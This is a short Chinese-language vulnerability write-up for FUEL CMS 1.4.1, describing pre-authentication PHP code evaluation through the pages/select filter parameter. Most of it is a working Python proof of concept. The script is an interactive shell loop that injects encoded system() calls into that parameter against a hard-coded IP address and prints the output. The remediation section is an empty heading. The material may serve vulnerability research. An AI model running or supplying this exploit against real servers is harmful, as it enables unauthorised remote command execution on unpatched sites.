产品简介

FUELCMS 是一款基于Codeigniter框架开发的CMS系统,模块化的设计使得它非常适合二次开发,事实上它本身已经自带了CMS和Blog模块,以及完整的后台管理功能和大量工具包,是一款绝佳的学习Codeigniter的入门教程

漏洞概述

在FUEL CMS 1.4.1 允许通过 pages/select/filter 参数或 preview/data 参数进行 PHP 代码评估。这可能导致预授权远程代码执行。

影响范围

FUEL CMS 1.4.1

利用流程

poc

import requests
import urllib
 
url = "<http://123.58.236.76:63124/index.php/fuel/>"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start
 
while 1:
    xxxx =input('cmd:')
    burp0_url = url+"pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.request.quote(xxxx)+"%27%29%2b%27"
    #proxy = {"http":"<http://127.0.0.1:8080>"}
    r = requests.get(burp0_url)
 
    html = ""
    htmlcharset = r.text.find(html)
 
    begin = r.text[0:20]
    dup = find_nth_overlapping(r.text,begin,2)
 
    print(r.text[0:dup])

修复方案